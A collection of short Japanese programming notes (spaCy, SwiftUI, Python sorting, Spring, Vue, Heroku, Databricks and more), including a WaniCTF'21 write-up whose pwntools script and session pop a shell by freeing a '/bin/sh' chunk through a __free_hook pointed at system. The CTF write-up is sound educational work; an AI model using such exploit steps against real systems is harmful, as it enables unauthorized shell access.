```python:nsubj.py
import spacy

def parse_document(sentence, nlp):
    doc = nlp(sentence)
    tokens = []

    for sent in doc.sents:
        for token in sent:
            tokens.append(token)

    subject_list = []

    for token in tokens:
        ## 依存関係ラベルがnsubj=>「＜見出し語＞:＜係り先の見出し語＞」をリストに追加する。
        if token.dep_ in  ["nsubj", "iobj"]:
            subject_list.append(f"{token.lemma_}:{tokens[token.head.i].lemma_}")
    
    return subject_list

## ここからメイン

nlp = spacy.load('ja_ginza')
print(parse_document("昨日から胃がキリキリと痛い。ただ、熱は無い。", nlp))
```

## output

```
$ python nsubj.py

['胃:痛い', '熱:無い']
```
@State 変数を他の引数で初期化する

引数studentで他の@State変数を初期化しています。

Xcode: Version 12.4 

```swift:
import SwiftUI

struct ChildView: View {
    @ObservedObject var student: Student   //Student: CoreDataのEntity

    @State var name0: String
    @State var num0: Int

    init(student: Student){
        _name0 = State(initialValue: student.name!)
        _num0 = State(initialValue: student.num)
        _student = ObservedObject(initialValue: student)
   }
   var body: some View {
      ...
   }
}


```

参考：
https://ja.stackoverflow.com/questions/63943/state付きの変数の値の初期化が無効になる
WaniCTF'21-spring pwn 02 free hook を勉強した記録

WaniCTF'21-spring pwn 02 free hook

WaniCTF 2020 pwn 08 heap に似てるので「ここはどこ？私は何してたんだっけ？」と混乱した。

# 問題

https://github.com/wani-hackase/wanictf21spring-writeup/tree/main/pwn/02-free-hook

nc free.pwn.wanictf.org 9002
free_hookの仕組みを理解する必要があります。

配布データ

```
pwn02
pwn02.c
```

```c:pwn02.c
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *g_memos[10];

void init();
void print_menu();
int get_int();
void list_memos();

void command() {
  int cmd;
  int index;
  int ret;

  print_menu();
  cmd = get_int();
  printf("index?[0-9]: ");
  index = get_int();

  switch (cmd) {
    case 1:
      if (g_memos[index] != 0) {
        free(g_memos[index]);
        g_memos[index] = 0;
      }
      g_memos[index] = malloc(0x10);
      printf("memo?: ");
      ret = read(0, g_memos[index], 0x10 - 1);
      g_memos[index][ret] = 0;
      break;
    case 2:
      puts(g_memos[index]);
      break;
    case 9:
      free(g_memos[index]);
      g_memos[index] = 0;
      break;
    default:
      break;
  }
}

int main() {
  init();

  __free_hook = system;

  while (1) {
    command();
    list_memos();
  }
}

void init() {
  int i;
  alarm(180);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  for (i = 0; i < 10; i++) {
    g_memos[i] = 0;
  }
}

void print_menu() {
  printf("1: add memo\n2: view memo\n9: del memo\ncommand?: ");
}

int get_int() {
  char buf[10];
  int ret;
  ret = read(0, buf, 9);
  buf[ret] = 0;
  ret = atoi(buf);
  return ret;
}

void list_memos() {
  int i;
  printf("\n\n\n[[[list memos]]]\n");
  for (i = 0; i < 10; i++) {
    if (g_memos[i] != 0) {
      printf("***** %d *****\n", i);
      puts(g_memos[i]);
    }
  }
  puts("");
}
```

# ソリューション

ソースを見ると

```
  __free_hook = system;
```

__free_hook（free したときにフックできるデバッグ用？の機能）がsystemに繋がってる。
確か，開放するチャンクそのものが引数。
"/bin/sh"を書いてfreeすると system("/bin/sh")になるはずだ

```
# ./pwn02
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
# ls
peda-session-pwn02.txt	pwn02  pwn02.c
```

ビンゴ

WaniCTF 2020 pwn 08 heapを勉強した後だったので瞬殺したが，大会中は何度もチャレンジしたが解けなかった。

```python:pwn02.py
# coding: UTF-8
# WaniCTF'21-spring pwn 02 free hook

from pwn import *
import pwn 

#io = pwn.remote("free.pwn.wanictf.or", 9002)
io = pwn.process("./pwn02")

ret = io.readuntil("command?: ")
print(ret)
io.sendline("1")

ret = io.readuntil("index?[0-9]: ")
print(ret)
io.sendline("0")

ret = io.readuntil("memo?: ")
print(ret)
io.sendline("/bin/sh\x00")


# free --> __free_hook  --> system("/bin/sh")
ret = io.readuntil("command?: ")
print(ret)
io.sendline("9")

io.interactive()
```
[Tips] 連番と辞書順とパディング

# 課題のありか
`abc_1.jpg`, `abc_10.jpg`, `abc_2.jpg` という順序にソートされますが、自然な感覚では `abc_1.jpg`, `abc_2.jpg`, `abc_10.jpg` となってほしいところです。

例えば、Windowsのエクスプローラーは「自然な」順序で並べてくれます。細かく配慮してます。

このあたりのTipsをまとめます。参考になれば幸いです。また、こんなのもあるよという意見があればコメントください。

言語はPython3を使います。

# Tips1: パディングして生成

自分で連番をつくってよいなら、最初からゼロパディングして作ってしまえばいいので簡単です。つまり `abc_001.jpg`, `abc_002.jpg`, `abc_010.jpg` という風につくるわけですね:

```py
names = [f"abc_{i:03}.jpg" for i in range(10)]
```

何桁パディングするかを事前に抑えておく必要はあります。そこは要注意です。


# Tips2: 自然なソートキー関数

連番が既に与えられている場合に「自然に」ソートする方法を考えます。`sort`関数にはkey引数があり、これが使えます。ソート対象――この例では画像ファイル名――を入力としてソートキーなる文字列を作ります。

ソートキーはゼロパディングした文字列でよいでしょう。つまり `abc_1.jpg` のソートキーは `abc_0001.jpg` で `abc_10.jpg` のソートキーは `abc_0010.jpg` です。これを実現する手順のひとつは「文字列内の全ての`(\d+)`をゼロパディングする」です。`re.subn`の第二引数に関数を渡すとコールバックしてくれます:

```py
import re
# 全ての(\d+)をゼロパディングするキー関数
mykey = lambda s: re.subn(r"\d+", lambda mo: f"{mo.group(0):>04}", s)[0]
# 使用例
sorted(["a_1.jpg","a_2.jpg","a_10.jpg"], key=mykey)
```

上記の手順はひとつの例ですが実装を変えると色々ハマります。例えば「最初に登場する`\d+`を抽出して整数値に変換」という整数値をキーとする手順では `1224-2.jpg`, `1224-10.jpg` が意図通りに並ばなくなってしまうでしょう。「登場する数字だけに注目する」という手順では `first_ver2.txt` `second_ver1.txt` が意図通り並ばなくなってしまうでしょう。などなど。

# Tips3: パディング修正
ゼロパディングするように気をつけていたけど、ファイル数が多くなってパディングの桁があふれてしまうことがあります。つまり `01.jpg`, .... `99.jpg`, `100.jpg` という感じですね。こうなってしまうとせっかくパディングしていた意味がなくなってしまいます。`07.jpg`, `1001.jpg`, `200.jpg` という順序になりますから。

このように「パディングをあとから修正したい」というユースケースはあります。これを実現してみます。

修正したい時、我々は修正対象について色々知っています。そこで「何桁にパディングしたいのか」「どの場所の数字をパディングしたいのか」という情報を既知とします。例えば `20200401-1.jpg` を `20200401-001.jpg` にしたいので「(0から数えて)1番目の数字を3桁バディングしてね」といった具合です。Tips2で紹介した`re.subn`の第二引数に渡す関数を少し変更して「今まで何回書き換えたか？」を覚えておくクロージャにすることで若干の修正ですみます:

```py
# 呼ばれた回数≒書き換え回数を覚えてるクロージャ
def _rewriter(pos, padnum):
  fmt = "{:>0" + str(padnum) + "}"
  call_count = 0
  def ret_f (mo):
    nonlocal call_count
    call_count += 1
    if (call_count - 1) != pos:
      return mo.group(0)
    return fmt.format(mo.group(0))
  return ret_f

def new_name(s, pos=0, padnum=4):
  return re.subn(r"\d+", _rewriter(pos, padnum), s)[0]

#使用例
new_name("abc123-34_5.jpg", 1, 6) # abc123-000034_5.jpg
```

# 終わりに
よりリーダビリティの高い方法があれば教えてください。他のユースケース・お題もあれば提案してくれるとうれしいです。
Java Spring Controllerで使用したもの

Java Spring Controllerで使用したものを書き連ねていきます。

##こだわりのディスクリプションを書く
（例）[({要素1})、({要素2})、({要素3})]{標準discription}
要素を最大３つまで表示させる場合

1.標準discriptionはymlファイルに記載

2.要素を生成（最大3つまで）

```java:java
StringBuilder sbHoge = new StringBuilder();
int count = 0;
for(HogeEntity hogeEntity : hogehoge.getHoges()) {
    if(count <= 2) {
        sbHoge.append("、");
        sbHoge.append(hogeEntity.getName());

    }
    count ++;
}
if(sbHoge.length()!=0) {
    sbHoge.deleteCharAt(0);
    sbHoge.insert(0, "[");
    sbHoge.append("]");
}
//Stringに変換
String pageHoges = sbHoge.toString();
```

3.連結

```java:java
StringBuilder sbDscription = new StringBuilder();
//Stringに変換した連結された要素（最大３つ）
sbDscription.append(pageHoges);
//ymlファイルから取り出した標準discription
sbDscription.append(messageSource.getMessage("yml.dscription.", null, localeResolver.resolveLocale(request)));
//Stringに変換
String siteDscription = sbDscription.toString();
```

##int → String
```java:java
int val = 1;
String valStr = String.valueOf(val);

int val = 1;
String valStr = Integer.toString(val);
```

##String → int
```java:java
String valStr = "1";
int val = Integer.parseInt(valStr);

String valStr = "1";
int val = Integer.valueOf(valStr);
```

StringBuilder
https://java-reference.com/java_string_stringbuilder.html

```java:java
StringBuilder sb = new StringBuilder("A");

sb.append("B");//末尾に加える
sb.insert(123, "***");//インデックス番号1（２文字目）に挿入
sb.delete(0,2);//インデックス番号0～2（１～２文字目）を削除
sb.deleteCharAt(0);//インデックス番号0（１文字目）を削除
sb.deleteCharAt(sb.length()-1);//末尾から1文字だけ削除
String siteUrl = sb.toString();
```

##クエリパラメータ取得する方法
```java:java
@RequestMapping(value = {"/"}, method = RequestMethod.GET)
public String search(
@RequestParam Map<String,String> allRequestParams, ModelMap model) {
   return "paramName";
}
```
https://stackoverflow.com/questions/7312436/spring-mvc-how-to-get-all-request-params-in-a-map-in-spring-controller/18489124#18489124
Ruby 領域展開　変数展開

#変数展開とは
 読んで字の如く、変数の中身を展開すること。

**変数展開はダブルクォーテーションで括った場合のみ機能する。**
シングルクォーテーションで括った場合は変数ではなく文字列として認識されてしまいます。

#実際に試してみましょう

```csharp:years_old.rb
name = "A"
years_old　= 20

１．puts name + "さんの年齢は" + years_old.to_s + "歳です"
２．puts "#{name}さんの年齢は#{years_old}歳です"
３．puts '#{name}さんの年齢は#{years_old}歳です' 
```
【結果】
1.Aさんの体重は50kgです
2.Aさんの体重は50kgです
3.#{name}さんの体重は#{weight}kgです

少しずつ違いがあることによって表示の方法が異なります。
to_sは整数型を文字列型へ変更してくれています。

#まとめ
変数を活用し、入力フォームなどで得られたデータなどと連動することもできる。そうなればサイトへの訪問者の入力した内容を変数を活用し表示することができる。
reduceメソッドの使い方

###reduceメソッドの使い方

取得した文字を列を分割した後に、分割された文字に||で区切りを入れたいとする。そのときに役立つのがreduceメソッド。

```php:

const text = "ABCDEFGHIJK";

//取得した文字列を１文字づつ分割する。
const textArray = text.split("");

//aは蓄積された文字 bは現在取得している文字
//第2引数に空文字に入れているのは、最初の取得した値はaにはいるので||が効かなくなる為

const result = textArray.reduce(function(a,b){
    return a+'|'+b+'|';
},"")

//|A|B|C|D|E|F|G|H|I|J|K|と表示される。
console.log(result);
```
Laravel PHP 送信されたファイルの拡張子をMIMEの情報から取得する

# 目的

- Postされた拡張子を取得する方法をまとめる

# 方法

1. inputのnameでimageとしている場合に受け取るときに受け取り側のコントローラーに下記を記載する。

    ```php
    $extensions = $request->file('image')->guessExtension();
    ```

1. `$extensions`にファイルの拡張子が格納される。
Rubyのgrpcコールのretry戦略

最近忙しいのでメモるだけ。

## DeadlineExceeded(4)はretryしたい

- サーバー側が混んでいるのなら、exponential　backoffするべきだし、
- (patameterに指定したレコードが多すぎて)サーバ側の計算量が多くて遅くなっているのなら、2回目のリクエストは、1回めより、deadlineを長くてやる必要がある気がする。


```rb

    resp =
      Retryable.retryable(tries: 3, on: [GRPC::DeadlineExceeded]) do
        GrpcCallingService.new.call(user_id: 111)
      end

```
Vue.js v-forのネスト

## 概要
Vue.jsのv-forを使ったネストについて記載します。

## やりたいこと
事業所マスタとステータスマスタから以下のようにラジオボタンを配置したい。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/253742/a7df03e5-8292-0c8a-1559-262c0b07c883.png)

## 実装
HTML

```HTML
<v-radio-group
  v-for="service in serviceList"
  :key="service.id"
  v-model="db.services[service.id - 1]"
>{{service.service_name}}
  <v-radio
    v-for="status in statusList"
    :key="status.id"
    :label="status.name"
    :value="status.id"
  ></v-radio>
</v-radio-group>
```

スクリプト

```javascript
export default {
  data() {
    return {
      db: {
        services        : [],
      },
      serviceList       : [
                            {id: 1, service_name: '事業所A'},
                            {id: 2, service_name: '事業所B'},
                            {id: 3, service_name: '事業所C'},
                          ],
      statusList        : [
                            {id: 1, name: '利用中'},
                            {id: 2, name: '休止中'},
                            {id: 3, name: '利用あり'},
                            {id: 4, name: '利用なし'},
                          ],
    }
  },
}
```
Heroku上で作成したDB（mySQL）に接続する方法

Herokuはデフォルト設定でPostgreSQLになっているので、mySQLを使用するためのツール`CleaDB`をアドオンする必要があり、

```
heroku addons:add cleaDB
```
を実行して、cleaDBをアドオンします。

herokuに作成したアプリ内のDBの状況を確認するためには、

```
$ heroku config
=== tell---me Config Vars
[省略]
mysql２://ユーザー名:パスワード@us-cdbr-east-03.cleardb.com/heroku_xxxxxxxxx?reconnect=true
[省略]
```
で、ユーザー名とパスワードを確認し、その後に

```
$ mysql -u ユーザー名 -p -h us-cdbr-east-03.cleardb.com heroku_xxxxxxxxx
Enter password: パスワード
```
を実行して、heroku上に作成したDB（mySQL）に接続することができます。

例えば、Railsの`heroku run rails db:seed`で初期データを作成したアプリのDBに導入した後にきちんとインポートされているかDBの中身を確認したい場合は

```:作成したテーブルの中身を確認する
$ show databases;　　作成しているDBの確認コマンド
$ use 確認したいDB名;
$ show tables;　　　　作成しているテーブルの確認コマンド
$ select * from 確認したいテーブル名;
```
でDBの中身を確認することができます。
Databricksにおける画像の取り扱い

> [Databricksクイックスタートガイド](https://qiita.com/taka_yayoi/items/125231c126a602693610)のコンテンツです。

[Image \| Databricks on AWS](https://docs.databricks.com/data/data-sources/image.html) [2021/5/10時点]の翻訳です。

:::note warn
**重要！**
生のバイト列として画像データをSparkデータフレームに読む込む際には、[バイナリーファイル](https://qiita.com/taka_yayoi/items/0435dab820dea19df339)データソースを使用することをお勧めします。画像データの取り扱いにおいてお勧めするワークフローに関しては、[画像アプリケーションに対するDatabricksリファレンスソリューション](https://qiita.com/taka_yayoi/items/41be81691df3f7c8e6bf)を参照ください。
:::

[画像データソース](https://spark.apache.org/docs/latest/ml-datasource#image-data-source)は、詳細な画像の表現方式を抽象化し、画像データを読み込むための標準的なAPIを提供します。画像ファイルを読み込むには、データソースの`format`を`image`に指定します。

```py:Python
df = spark.read.format("image").load("<path-to-image-data>")
```

Scala、Java、Rでも同様のAPIを提供しています。

画像データソースを用いることで、ネストされたディレクトリ構造(例えば、`/path/to/dir/**`のようなパス)をインポートすることができます。特定の画像に対しては、パーティションディレクトリ(`/path/to/dir/date=2018-01-02/category=automobile`のようなパス)のパスを指定することで、パーティションディスカバリーを使用することもできます。

# 画像データの構造

画像は`image`という列を持つデータフレームに読み込まれます。`image`は以下のフィールドを持つstruct型のカラムとなります。

```
image: 画像データ全てを格納する構造体
  |-- origin: ソースURIを表現する文字列
  |-- height: 画素数による画像の高さ、整数値
  |-- width: 画素数による画像の幅、整数値
  |-- nChannels
  |-- mode
  |-- data
```

- **nChannels**: カラーチャンネルの数。典型的な値はグレースケールの画像場合は1、RGBのようなカラーイメージは3、アルファチャネルを持つカラーイメージは4となります。

- **mode**: データフィールドを解釈するための整数値の情報を提供します。格納されているデータのデータ型とチャンネルオーダーを保持しています。フィールドの値は、以下のテーブルにあるように、OpenCVタイプの一つにマッピングされることを期待されます(強制はされません)。OpenCVタイプは1、2、3、4のチャネル、画素値に対するいくつかのデータタイプを定義します。チャネルの順序は、色が格納される順序を指定します。例えば、赤、青、緑のコンポーネントを持つ典型的な3チャネルの画像を取り扱う際、6つの順序を取り得ます。多くのライブラリはRGBかBGRを使用します。3(4)チャネルのOpenCVのタイプはBGR(A)の順序であることが期待されます。

    **OpenCVの値(データタイプ x チャンネルの数)に対するタイプのマッピングは以下の通りとなります。**
![](https://databricks.com/wp-content/uploads/2018/12/Screen-Shot-2018-12-10-at-9.19.49-AM.png)

- **data**: バイナリー形式で格納された画像データです。画像データは、次元の形状(height, width, nChannels)の3次元の配列、modeで指定されるt型の配列値となります。配列は行優先(row-major)で格納されます。

# 画像データの表示

Databricksの`display`関数は画像データの表示をサポートしています。詳細は[こちら](https://qiita.com/taka_yayoi/items/36a307e79e9433121c38#%E7%94%BB%E5%83%8F)を参照ください。

# サンプルノートブック

以下のノートブックでは、どのように画像ファイルを読み書きするのかを説明しています。

## 画像データソースノートブック

[Databricksにおける画像の取り扱い](https://github.com/taka-yayoi/public_repo/tree/main/image_data_source)

# 画像データソースの制限

画像データソースはSparkデータフレームを作成する過程で画像ファイルをデコードするのでデータサイズが増加し、以下のシナリオにおいては制限が生じます。

1. データフレームの永続化: アクセスを容易にするためにDeltaテーブルでデータフレームを永続したい場合には、ディスク容量を節約するために生のバイト列を永続化すべきです。
1. パーティションのシャッフル: デコードされた画像をシャッフルする際には、多くのディスク容量とネットワーク帯域が必要となるためシャッフルが遅くなります。画像のデコードは可能な限り後回しにすべきです。
1. 他のデコード方法の利用: 画像データソースは、画像をデコードするためにjavaxの画像IOライブラリを使用します。このため、カスタムのデコードロジックや性能改善のために他の画像でコードライブラリを使用できません。

これらの制限は、画像データをロードする際に[バイナリーファイル](https://qiita.com/taka_yayoi/items/0435dab820dea19df339)データソースを使用し、必要な時のみデコードすることで回避できます。

### Databricks 無料トライアル

[Databricks 無料トライアル](https://databricks.com/jp/try-databricks)
オリジナルアプリ開発#6【Font Awesome 5 導入】

現在、転職先の企業へのアピールポイントになるポートフォリオ作成（オリジナルアプリ開発）をしています。
私は、タスク管理ツールの完成を目指しています。

今回は、Font Awesomeを導入していきます。

##Webpackerでの導入
<details><summary>Webpackerとは</summary>
複数のJavaScriptファイルなどを1つにまとめて出力するツールであるwebpackを簡単にRailsアプリケーションに統合できるGemです。
Rails5.1から標準でサポートされています。

<details><summary>webpackとは</summary>
モジュールバンドラツールのことで、昨今のモダンなJavaScript開発で必須となりつつある仕組みです。

###Webpakcerがインストールされているか確認
```:Gemfile
gem 'webpacker', '~> 4.0'
```

Gemfileに`webpacker`というgemがあることを確認します。

##Font Awesomeの導入
yarn を使っている場合、パッケージをインストールするには、`yarn addコマンド` を実行します。


```console:ターミナル
yarn add @fortawesome/fontawesome-free
```
![Taskapp【fortawesome】.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1210417/44769c06-d370-79b2-b4f3-cc19ab1dd792.png)

`package.json` ファイルには以下のコードが追加されます。

```json:pacakge.json

{
  "name": "TaskApp",
  "private": true,
  "dependencies": {
    "@fortawesome/fontawesome-free": "^5.15.3", // 追加される 
    "@popperjs/core": "^2.9.2",
    "@rails/actioncable": "^6.0.0-alpha",
    "@rails/activestorage": "^6.0.0-alpha",
    "@rails/ujs": "^6.0.0-alpha",

    （以下、略）

```

次に、`app/javascript/stylesheets/application.scss`にFont Awesome のCSSを読み込みます。



```scss:app/javascript/stylesheets/application.scss

@import "bootstrap";

@import '~@fortawesome/fontawesome-free/scss/fontawesome'; // 追加

@import "custom";@import "custom";

```

次にyarnでインストールした Font Awesome のパッケージを利用できるようにimportします。

`app/javascript/packs/application.js` に以下のコードを追加します。

```js:app/javascript/packs/application.js

（略）

import "../stylesheets/application"
import "@fortawesome/fontawesome-free/js/all" // 追加する
import "../js/hoge.js"

（略）

```


##Font Awesome が導入されたか確認
実際にFont Awesomeが機能するか確認します。

http://localhost:3000 にアクセスします。
ヘッダーの『リスト作成』右側にアイコンが表示されたので、うまく動作しました。

![TaskApp【fontawesomeアイコン】.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1210417/58ad3782-9fbb-0829-3a4f-61b5753dd6c7.png)

Font Awesome を導入することで、cssでアイコンを表示できました。

このアイコン名はFont Awesome の公式サイトから調べられます。

https://fontawesome.com/icons?d=gallery&p=2

今回は「edit」のアイコンを利用しています。



以上で今回のパートは終了です。
これって純粋で副作用がない関数なの? 

あるStructの関数を実装していて､この関数は純粋なのか､副作用があるのか良くわからなくなって来た!
正解はわからないのだけど､気持ち悪さを無くしたいという自己満足なお話

```swift
struct Size {
    let w: Int
    let h: Int
    //w と hを x で文字列連結
    func toString() -> String {
       return "\(w) x \(h)"
    }
}
Size(w:160,h:120).toString() // 160 x 120
```

##正解はわからないのだけど､感じた違和感
なにが違和感かというと､多分関数に渡された引数が無くて､関数外のプロパティにアクセスしているから､､､なのかなー｡
実装だけ見ると､副作用は無い事はわかるんですけど､下記のように

```swift
struct Size {
    let w: Int
    let h: Int
    //w と hを x で文字列連結
    static func toString(_ item: Size) -> String {
        return "\(item.w) x \(item.h)"
    }
}
Size.toString(Size(w:160,h:120)) // 160 x 120
```

渡された引数のみで演算して結果を返す方が､純粋関数っぽいかなーっと｡

##Rxだとこんな感じに実装しそうだな
ちょっと遠回りして考えて見たりして

```swift
struct Size {
    let w: Observable<Int>
    let h: Observable<Int>
    let stringValue: Observable<String>
    init(w: Int, h: Int) {
        w = Observable.just(w)
        h = Observable.just(h)
        stringValue = Observable.combineLatest(w,h) { return "\($0) x \($1)"  }
    }
}
Size(w:160,h:120).stringValue.bind { print($0) } // 160 x 120 
```
これって､やってることってComputed propertyだなーと思いました｡

##結果､僕の中で違和感がなくなったので良しとするかwww

```swift
struct Size {
    let w: Int
    let h: Int
    //w と h を x で文字列連結
    var stringValue: String {
       "\(w) x \(h)"
    }
}
Size(w:160,h:120).stringValue // 160 x 120
```
以上､ポエムでした!
Railsの概要を学ぼう　現在編集中



HTML／CSSの章で作ったウェブサイトでは、訪問者は受動的に閲覧するだけでした。一方、ウェブアプリケーションでは、投稿や並べ替えなどさまざまな操作を行えます。
Ruby on Railsを使うと、このウェブアプリケーションを簡単に作成できるようになります。
[WIP] Cognito メモ



SDK

Java
https://sdk.amazonaws.com/java/api/latest/

.Net
https://docs.aws.amazon.com/sdkfornet/v3/apidocs/index.html


JavaScript

https://github.com/aws-amplify/amplify-js/tree/main/packages/amazon-cognito-identity-js/src

https://github.com/aws-amplify/amplify-js



AWS Amplify API

https://aws-amplify.github.io/amplify-js/api/
【Javascript】Switch文を書かずに、特定のパターンのときに処理を切り分けたいときの書き方

```javascript
const statusLabel = returnLabel(1)  // 成功

function returnLabel(labelNumber) {
  const label = {
    0: '成功',
    1: 'キャンセル',
    2: 'エラー'
  }

  return label[labelNumber]
}
```
Contact Form 7 add confirmを使えるようにする件

#はじめに

WordPressのお問い合わせフォームなどで、確認のワンクッションを設けるのに便利な「Contact Form7 add confirm」ですが、
元のプラグイン『Contact Form7』のアップデートにより使えなくなっている案件が多発しまして。。。

とりあえずContact Form7の古いバージョンを当てて元に戻ったのですが、フォームが使えないと機会損失として痛いし、古いバージョンを使い続けるのもおかしな話です。

そんな中、ググってみたら解決方法が出てきたので、一応使いやすいように書き記しておこうと思います。

今回は、「Contact Form7 add confirm」を修正して使えるようにする方法を書きます。


#解決方法

##ファイル編集
plugins/contact-form-7-add-confirm/includes/js/scripts.jsを編集します。
※git風に書いています。－が元の文、+が加筆文です。


```
 document.addEventListener( 'wpcf7submit', function( event ) {
        switch ( event.detail.status ) {
                case 'wpcf7c_confirmed':
-               wpcf7c_step1(event.detail.id);
+               wpcf7c_step1(event.detail.unitTag);
                break;
                case 'mail_sent':
-               wpcf7c_step2(event.detail.id);
+               wpcf7c_step2(event.detail.unitTag);
                break;
```

また、メッセージ不具合修正は下記の+を追加です。

```
setTimeout(function() { wpcf7c_scroll(parent.find("input[name=_wpcf7_unit_tag]").val()) }, 100);
        }
  
+       // 確認ボタン挙動
+       parent.find(".wpcf7c-btn-confirm").on("click", function() {
+         responseOutput.css("display", "");
+       });
 }
```

これで動作確認してOKでした。


#参考サイトURL
https://www.progress-llc.co.jp/blog/post-20210318/
ループの処理について

#目次
<b>①for文について</b>
<b>②for...in文について</b>
<b>③for...ofについて</b>


###①for文について

```php:
const array =[1,2,3,4,5,6];

for(let i=0; i < array.length; i++){
  console.log(array[i]);
}

//iに0を代入して、array.lengthで配列の長さを取得している。今回の場合は、配列の長さは６になるので、
//i<6になる。一回の処理が終了したら、 i++(i = i + 1;という意味) iに1が追加され、同じ処理が5回繰り返される。
```

###②for...in文について

```php:

 const array= [1,2,3,4,5,6];

 for(let i in array){
   console.log(array[i])
}

// 配列のインデックスを取得することができる。
```

###③for...of文について
```php:

const array = [1,2,3,4,5,6];

for(let v of array){
  console.log(v);
}

//配列の要素が順番に取得できるようになる
```
意地でも精進しない男の入緑記事

#はじめに
この記事に書いてあるのは

+ 怠惰
+ 戦意喪失
+ 雑な練習

以上のみです。
苦手な方はブラウザバック推奨。

#色変したので記事を書く
白羽です。
皆さんはAtCoderやってますか？~~これ見に来てる人でやってない人なんてそうそういないと思いますが~~

そういえば先日[ABC201](https://atcoder.jp/contests/abc201)をもって二度目の色変をしました。私も晴れて緑コーダーです。
そこで礼儀にのっとって色変記事を書こうと思います。

#この記事の内容

+ 緑コーダーになるためには？
+ パフォを出すコツ(多分)
+ 怠惰

# 緑コーダーになるためには
まず、大事なこととして私は**ABCのみ参加**かつ**13回目**のコンテストで入緑しています。
そんなに速くなくていいよ！って人はここに書いてあるようなことをしなくても緑になれる気がします。なにせマイナス補正ってものがありますし……

## 初手でパフォ2400出して入水してる変態のことは忘れろ
まず、そういう人間はただの変態です。灰色から始まる私のような競技者に出来るのは、必死にABC前半問題を這いずり回りD問題で爆死することだけです。

それでも少ない回数で茶色や緑になりたい、そう思ったら、
**モチベのある時に多量に精進するべき**です。

## モチベのない時に無理やり問題を解こうとするな
これが非常に大事です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1078419/e7e49a4c-9cfb-b046-b975-3c5279875025.png)
精進量が出てる3/20が入茶した日です。4月中旬辺りからほとんど精進していないのがわかると思います。
このAtCoder精進量が極めて少ない期間、私は個人開発に熱中しており、2コンテストの間で1問も解いていないこともありました。
AtCoderから見ればどう考えても怠惰の極みです。さすがにサボりすぎですね。2回冷えてますし……

でも、
## 冷えても焦るな
実力が足りなかったのかもしれませんし、問題との相性が悪かったのかもしれません。ですが、冷えてしまうのは悪い事なのでしょうか？
コンテスト参加回数が少ないうちは、レートの変動なんて良くも悪くも実力を正確には表してくれません。そのような状態でレートの上がり下がりに一喜一憂する必要はありません。5回連続で冷えたらいよいよかもしれませんが。
気軽にレート変動を楽しみましょう。私たちが大事にしないといけないのはパフォーマンス値です。

# パフォを出すコツ
正直、けっこう単純です。

## とにかく誰よりも速く3完する
これが一番大事です。
Dが解けなくてもパフォ1000弱を狙うためには15分3完を目安に解く必要があります。
回によっては10分3完でパフォ1200が出るので絶対に**速く**3完する必要があります。
ただし近年のC問題は[上振れ](https://atcoder.jp/contests/abc197/tasks/abc197_c)[しがち](https://atcoder.jp/contests/abc191/tasks/abc191_c)です。本来ならdiff200想定なんですけどね(風の噂)……

## D問題を諦めない
Cを素早く解いた場合、D問題以降にかなりの時間を残します。それを無碍にするのはもったいないのでD問題も挑むだけ挑みましょう。
過去に[順列全列挙だけで解ける問題](https://atcoder.jp/contests/abc198/tasks/abc198_d)もありましたし。

# 最後に
マジでこのくらいです。ABC3完がほとんどで緑になる人なんてそうそういないんじゃないでしょうか。
これからは400点問題からも逃げずに戦わないと水にはなれないと思います。がんばります。
Vuetifyで左右センター揃えにするサンプルコードの備忘録(justify="center") or (class="text-center")

あれー！！
Vuetityでサクッとセンター揃え/中央揃えにするコードってどうだっけー！？
なんでセンター揃えにならないんや！なんでこんな簡単なことをすぐ忘れるんや！って人に向けた備忘録です。

## HTML版

Flexboxのグリッドシステムでやりたい場合
v-colの`cols="auto"`にするのがポイント。これでカラムが自動的に小さくなり、v-rowの` justify="center"`が効いてくる。
no-guttersはお好みで。

```html
<v-row no-gutters justify="center">
  <v-col cols="auto">
    <span>hogehoge</span>
  </v-col>
</v-row>
```

text-alignのCSSヘルパーでやりたい場合

```html
<div class="text-center">
   Center揃えtext
</div>
```

## PUG版

Flexboxのグリッドシステムでやりたい場合

```
v-row(no-gutters, justify='center')
    v-col(cols='auto')
        span hogehoge
```

text-alignのCSSヘルパーでやりたい場合

```
.text-center Center揃えtext
```

### 公式ドキュメント

ちゃんと読めば書いてあるけど。。。

https://vuetifyjs.com/ja/styles/flex/

https://vuetifyjs.com/ja/styles/text-and-typography/